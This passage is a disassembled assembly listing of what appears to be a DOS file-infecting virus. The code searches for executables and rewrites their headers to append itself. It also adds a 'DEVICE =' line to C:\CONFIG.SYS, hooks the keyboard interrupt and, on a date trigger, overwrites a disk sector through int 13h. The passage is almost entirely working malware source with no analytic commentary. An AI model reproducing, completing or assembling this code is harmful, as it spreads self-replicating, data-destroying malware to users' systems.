mov si,ax
|
|
mov cx,100h
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
jc loc_0BB7 ; Jump if carry Set
|
|
pop dx
|
|
mov ax,di
|
|
add ax,si
|
|
add ax,100h
|
|
cmp ax,200h
|
|
jb loc_0B6D ; Jump if below
|
|
and ax,1FFh
|
|
inc dx
|
|
loc_0B6D:
|
|
mov cl,4
|
|
shr ax,cl ; Shift w/zeros fill
|
|
dec dx
|
|
mov cl,5
|
|
shl dx,cl ; Shift w/zeros fill
|
|
sub dx,ds:d_9E01_0008_e
|
|
add ax,dx
|
|
sub ax,10h
|
|
mov ds:d_9E01_0016_e,ax
|
|
mov word ptr ds:d_9E01_0014_e,100h
|
|
push ds
|
|
mov ax,cs
|
|
mov ds,ax
|
|
mov cx,data_011C
|
|
mov dx,100h
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
pop ds
|
|
jc loc_0BB7 ; Jump if carry Set
|
|
call sub_0BB9
|
|
mov ds:d_9E01_0002_e,di
|
|
mov ds:d_9E01_0004_e,ax
|
|
mov ax,4200h
|
|
xor dx,dx ; Zero register
|
|
xor cx,cx ; Zero register
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, bx=file handle
|
|
; al=method, cx,dx=offset
|
|
jc loc_0BB7 ; Jump if carry Set
|
|
mov cx,100h
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
loc_0BB7:
|
|
pop ds
|
|
retn
|
|
sub_0B1D endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0BB9 proc near
|
|
mov ax,4202h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, bx=file handle
|
|
; al=method, cx,dx=offset
|
|
mov di,ax
|
|
and di,1FFh
|
|
mov cl,9
|
|
shr ax,cl ; Shift w/zeros fill
|
|
mov cl,7
|
|
shl dx,cl ; Shift w/zeros fill
|
|
add ax,dx
|
|
inc ax
|
|
retn
|
|
sub_0BB9 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0BD4 proc near
|
|
mov ax,data_0108
|
|
mov data_0120,ax
|
|
mov cx,data_011C
|
|
cmp cx,ax
|
|
jb loc_0BEA ; Jump if below
|
|
mov data_0120,cx
|
|
mov cx,data_0108
|
|
loc_0BEA:
|
|
push ds
|
|
mov ax,word ptr data_012C+2
|
|
mov ds,ax
|
|
xor dx,dx ; Zero register
|
|
mov ah,3Fh ; '?'
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, bx=file handle
|
|
; cx=bytes to ds:dx buffer
|
|
pop ds
|
|
jc loc_ret_0C3F ; Jump if carry Set
|
|
mov ax,4200h
|
|
xor dx,dx ; Zero register
|
|
xor cx,cx ; Zero register
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, bx=file handle
|
|
; al=method, cx,dx=offset
|
|
jc loc_ret_0C3F ; Jump if carry Set
|
|
mov dx,100h
|
|
mov cx,data_011C
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
jc loc_ret_0C3F ; Jump if carry Set
|
|
cmp ax,data_0108
|
|
ja loc_0C2E ; Jump if above
|
|
mov ax,4200h
|
|
mov dx,data_0108
|
|
mov data_0120,dx
|
|
xor cx,cx ; Zero register
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, bx=file handle
|
|
; al=method, cx,dx=offset
|
|
jc loc_ret_0C3F ; Jump if carry Set
|
|
mov cx,data_011C
|
|
jmp short loc_0C32
|
|
loc_0C2E:
|
|
mov cx,data_0108
|
|
loc_0C32:
|
|
push ds
|
|
mov ax,word ptr data_012C+2
|
|
mov ds,ax
|
|
xor dx,dx ; Zero register
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
pop ds
|
|
|
|
loc_ret_0C3F:
|
|
retn
|
|
sub_0BD4 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0C40 proc near
|
|
cmp data_011B,2
|
|
ja loc_0C4A ; Jump if above
|
|
xor ax,ax ; Zero register
|
|
retn
|
|
loc_0C4A:
|
|
mov al,data_0133
|
|
and al,1
|
|
retn
|
|
sub_0C40 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0C50 proc near
|
|
cmp data_0133,0Fh
|
|
jb loc_0C69 ; Jump if below
|
|
mov al,data_0135
|
|
cmp al,13h
|
|
jb loc_0C69 ; Jump if below
|
|
mov ax,40h
|
|
mov es,ax
|
|
mov byte ptr es:d_0040_004A_e,23h ; '#'
|
|
loc_0C69:
|
|
cmp data_0133,0Dh
|
|
jne loc_ret_0C86 ; Jump if not equal
|
|
cmp data_0134,5
|
|
jne loc_ret_0C86 ; Jump if not equal
|
|
mov ax,301h
|
|
mov cx,1
|
|
mov dx,50h
|
|
xor bx,bx ; Zero register
|
|
mov es,bx
|
|
int 13h ; Disk dl=drive ? ah=func 03h
|
|
; write sectors from mem es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
|
|
loc_ret_0C86:
|
|
retn
|
|
sub_0C50 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0C87 proc near
|
|
mov data_019B,1
|
|
lea dx,data_05C1 ; Load effective addr
|
|
mov cx,27h
|
|
mov ah,4Eh ; 'N'
|
|
int 21h ; DOS Services ah=function 4Eh
|
|
; find 1st filenam match @ds:dx
|
|
jnc loc_0CC6 ; Jump if carry=0
|
|
mov ah,3Ch ; '<'
|
|
mov cx,6
|
|
int 21h ; DOS Services ah=function 3Ch
|
|
; create/truncate file @ ds:dx
|
|
mov bx,ax
|
|
lea dx,data_05EE ; Load effective addr
|
|
mov cx,data_070A
|
|
mov si,dx
|
|
add si,data_00B3_e
|
|
mov ax,data_0130
|
|
mov [si],ax
|
|
mov ah,data_0132
|
|
mov [si+2],ah
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
jc loc_0D1F ; Jump if carry Set
|
|
loc_0CC6:
|
|
lea dx,data_05C7 ; ('C:\CONFIG.SYS') Load effective add
|
|
mov cx,27h
|
|
mov ah,4Eh ; 'N'
|
|
int 21h ; DOS Services ah=function 4Eh
|
|
; find 1st filenam match @ds:dx
|
|
jc loc_0D1F ; Jump if carry Set
|
|
call sub_0ACE
|
|
xor cx,cx ; Zero register
|
|
mov ax,4301h
|
|
int 21h ; DOS Services ah=function 43h
|
|
; set attrb cx, filename @ds:dx
|
|
mov ax,3D02h
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
mov bx,ax
|
|
jc loc_0D1F ; Jump if carry Set
|
|
mov cx,data_0108
|
|
push es
|
|
push ds
|
|
mov ax,word ptr data_012C+2
|
|
mov ds,ax
|
|
mov es,ax
|
|
xor dx,dx ; Zero register
|
|
mov ah,3Fh ; '?'
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, bx=file handle
|
|
; cx=bytes to ds:dx buffer
|
|
pop ds
|
|
mov dx,ax
|
|
mov ax,0FFFFh
|
|
xor di,di ; Zero register
|
|
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
|
cmp ax,es:[di-1]
|
|
pop es
|
|
jz loc_0D1F ; Jump if zero
|
|
mov ax,4200h
|
|
xor cx,cx ; Zero register
|
|
dec dx
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, bx=file handle
|
|
; al=method, cx,dx=offset
|
|
jc loc_0D1F ; Jump if carry Set
|
|
lea dx,data_05D5 ; ('DEVICE =') Load effective addr
|
|
mov cx,19h
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file bx=file handle
|
|
; cx=bytes from ds:dx buffer
|
|
loc_0D1F:
|
|
call sub_0ADF
|
|
retn
|
|
sub_0C87 endp
|
|
|
|
inc bx
|
|
cmp bl,[si-1]
|
|
inc word ptr [bx+si]
|
|
inc bx
|
|
cmp bl,[si+43h]
|
|
dec di
|
|
dec si
|
|
inc si
|
|
dec cx
|
|
inc di
|
|
db 2Eh, 53h, 59h, 53h, 00h
|
|
db 'DEVICE ='
|
|
db 0FFh,0FFh
|
|
db ' COUNTRY.SYS', 0Dh, 0Ah
|
|
db 1Ah,0FFh,0FFh,0FFh,0FFh, 40h
|
|
db 0C8h, 16h, 00h, 21h, 00h
|
|
db 'hgt42 '
|
|
db 00h, 00h, 00h, 00h, 2Eh, 89h
|
|
db 1Eh, 12h, 00h, 2Eh, 8Ch, 06h
|
|
db 14h, 00h,0CBh, 1Eh, 06h, 0Eh
|
|
db 1Fh,0C4h, 3Eh, 12h, 00h, 26h
|
|
db 8Ah, 45h, 02h, 3Ch, 00h, 75h
|
|
db 03h,0E8h, 82h, 00h
|
|
db 0Dh, 00h, 10h, 26h, 89h, 45h
|
|
db 03h, 07h, 1Fh,0CBh, 50h, 53h
|
|
db 51h, 1Eh
|
|
db 0E4h, 60h,0A8h, 80h, 75h, 30h
|
|
db 2Eh, 8Bh, 1Eh,0A9h, 00h, 3Ah
|
|
db 0C7h, 75h, 27h,0B8h, 40h, 00h
|
|
db 8Eh,0D8h,0E8h, 28h, 00h, 25h
|
|
db 05h, 00h, 8Bh,0C8h
|
|
db 0BBh, 1Ch, 00h
|
|
|
|
locloop_0DB1:
|
|
mov ax,cs:data_00A9_e
|
|
mov [bx],ax
|
|
add bx,2
|
|
cmp bx,3Fh
|
|
jb loc_0DC2 ; Jump if below
|
|
mov bx,1Eh
|
|
loc_0DC2:
|
|
mov word ptr ds:[1Ch],bx
|
|
loop locloop_0DB1 ; Loop if cx > 0
|
|
|
|
loc_0DC8:
|
|
pop ds
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
jmp dword ptr cs:data_00A3_e
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0DD1 proc near
|
|
mov ax,cs:data_00A7_e
|
|
push ax
|
|
and ah,0B4h
|
|
pop ax
|
|
jp loc_0DDD ; Jump if parity=1
|
|
stc ; Set carry flag
|
|
loc_0DDD:
|
|
rcl ax,1 ; Rotate thru carry
|
|
mov cs:data_00A7_e,ax
|
|
retn
|
|
sub_0DD1 endp
|
|
|
|
db 'hgt42 '
|
|
db 00h, 56h, 31h, 00h, 46h, 52h
|
|
db 44h, 00h, 00h, 00h, 00h, 00h
|
|
db 00h, 65h, 12h, 65h, 73h, 74h
|
|
db 6Eh, 12h, 1Fh, 14h, 31h,0CDh
|
|
db 0ABh,0EFh
|
|
db 06h, 57h,0B4h, 2Ah,0CDh, 21h
|
|
db 8Ah,0E6h, 3Bh, 0Eh,0B3h, 00h
|
|
db 74h, 03h, 80h,0C4h
|
|
db 0Ch
|
|
loc_0E17:
|
|
sub ah,ds:data_00B5_e
|
|
cmp ah,3
|
|
jb loc_0E5D ; Jump if below
|
|
mov ds:data_00B5_e,dh
|
|
mov ds:data_00B3_e,cx
|
|
mov ah,2Ch ; ','
|
|
int 21h ; DOS Services ah=function 2Ch
|
|
; get time, cx=hrs/min, dx=sec
|
|
mov ds:data_00A7_e,dx
|
|
call sub_0DD1
|
|
mov bx,ax
|
|
and bx,3
|
|
nop ;*ASM fixup - sign extn byte
|
|
mov al,ds:data_00AB_e[bx]
|
|
mov ah,ds:data_00AF_e[bx]
|
|
mov ds:data_00A9_e,ax
|
|
mov ax,3516h
|
|
int 21h ; DOS Services ah=function 35h
|
|
; get intrpt vector al in es:bx
|
|
mov ds:data_00A3_e,bx
|
|
mov bx,es
|
|
mov word ptr ds:data_00A3_e+2,bx
|
|
cli ; Disable interrupts
|
|
;* mov dx,offset loc_003E ;*
|
|
db 0BAh, 3Eh, 00h
|
|
mov ax,2516h
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
sti ; Enable interrupts
|
|
loc_0E5D:
|
|
pop di
|
|
pop es
|
|
mov word ptr es:[di+0Eh],0B6h
|
|
mov es:[di+10h],cs
|
|
xor ax,ax ; Zero register
|
|
retn
|
|
db 1Ch
|
|
db 01h, 8Bh, 1Eh, 28h, 01h,0A1h
|
|
db 26h, 01h, 8Eh,0D0h, 8Bh, 26h
|
|
db 24h, 01h, 83h,0ECh, 04h, 8Bh
|
|
db 0F4h, 80h, 3Eh, 1Fh, 01h, 00h
|
|
db 75h, 28h,0BFh, 00h, 01h, 36h
|
|
db 89h, 3Ch, 8Bh,0FBh, 36h, 89h
|
|
db 7Ch, 02h, 33h,0FFh, 36h, 89h
|
|
db 7Ch, 04h
|
|
db 0BFh, 00h, 01h, 8Bh, 36h, 22h
|
|
db 01h, 03h,0F7h, 8Bh, 0Eh, 1Ch
|
|
db 01h, 8Ch,0D8h, 8Eh,0C0h,0F3h
|
|
db 0A4h,0EBh, 16h, 90h
|
|
loc_0EAF:
|
|
mov di,bx
|
|
add di,10h
|
|
mov ax,ds:data_0016_e
|
|
add di,ax
|
|
mov ss:[si+2],di
|
|
mov di,word ptr ds:data_0012_e+2
|
|
mov ss:[si],di
|
|
loc_0EC4:
|
|
mov ds,bx
|
|
mov es,bx
|
|
retf ; Return far
|
|
db 8Ch,0D0h, 2Eh,0A3h, 26h, 01h
|
|
db 2Eh, 89h, 26h, 24h, 01h, 8Ch
|
|
db 0C8h, 8Eh,0D0h,0BCh,0F7h, 01h
|
|
db 1Eh, 8Eh,0D8h, 58h,0A3h, 28h
|
|
db 01h,0E8h,0E6h,0FAh, 8Ch,0C8h
|
|
db 8Eh,0C0h,0E8h, 6Dh,0FAh
|
|
db 0BAh, 9Dh, 01h,0B4h, 1Ah,0CDh
|
|
db 21h,0E8h, 1Bh,0FBh,0E8h, 0Eh
|
|
db 0FBh, 73h, 03h,0E9h, 9Eh, 00h
|
|
loc_0EFE:
|
|
call sub_0989
|
|
jc loc_0F06 ; Jump if carry Set
|
|
jmp loc_0F9C
|
|
loc_0F06:
|
|
call sub_099C
|
|
call sub_0A32
|
|
mov data_011E,0
|
|
loc_0F11:
|
|
call sub_0AB7
|
|
jc loc_0F62 ; Jump if carry Set
|
|
loc_0F16:
|
|
cmp data_019C,4
|
|
ja loc_0F9C ; Jump if above
|
|
call sub_0ACE
|
|
call sub_0AAF
|
|
jnc loc_0F5C ; Jump if carry=0
|
|
cmp data_010A,4
|
|
ja loc_0F5C ; Jump if above
|
|
call sub_0B08
|
|
jc loc_0F9C ; Jump if carry Set
|
|
cmp data_011E,0
|
|
je loc_0F3D ; Jump if equal
|
|
call sub_0B1D
|
|
jmp short loc_0F40
|
|
loc_0F3D:
|
|
call sub_0BD4
|
|
loc_0F40:
|
|
call sub_0ADF
|
|
jc loc_0F9C ; Jump if carry Set
|
|
inc data_019C
|
|
cmp data_019B,1
|
|
je loc_0F5C ; Jump if equal
|
|
call sub_0C40
|
|
jz loc_0F5C ; Jump if zero
|
|
call sub_0C87
|
|
jc loc_0F9C ; Jump if carry Set
|
|
jmp short loc_0F11
|
|
loc_0F5C:
|
|
mov ah,4Fh ; 'O'
|
|
int 21h ; DOS Services ah=function 4Fh
|
|
; find next filename match
|
|
jnc loc_0F16 ; Jump if carry=0
|
|
loc_0F62:
|
|
cmp data_011E,1
|
|
je loc_0F70 ; Jump if equal
|
|
mov data_011E,1
|
|
jmp short loc_0F11
|
|
loc_0F70:
|
|
mov data_011E,0
|
|
cmp data_019A,0
|
|
jne loc_0F8B ; Jump if not equal
|
|
lea dx,data_015A ; ('C:\') Load effective addr
|
|
mov ah,3Bh ; ';'
|
|
int 21h ; DOS Services ah=function 3Bh
|
|
; set current dir, path @ ds:dx
|
|
mov data_019A,0FFh
|
|
jmp short loc_0F11
|
|
loc_0F8B:
|
|
cmp data_0182,0
|
|
je loc_0F9C ; Jump if equal
|
|
call sub_0A8A
|
|
dec data_0182
|
|
jmp loc_0F11
|
|
loc_0F9C:
|
|
lea dx,data_013A ; ('\DANGER\1888') Load effective addr
|
|
mov ah,3Bh ; ';'
|
|
int 21h ; DOS Services ah=function 3Bh
|
|
; set current dir, path @ ds:dx
|
|
call sub_0C40
|
|
jz loc_0FAC ; Jump if zero
|
|
call sub_0C50
|
|
loc_0FAC:
|
|
mov ax,word ptr data_012C+2
|
|
mov es,ax
|
|
mov cx,5Bh
|
|
mov si,offset data_070C
|
|
xor di,di ; Zero register
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
call sub_09EE
|
|
call data_012C
|
|
|
|
seg_a ends
|
|
|
|
|
|
|
|
end start
|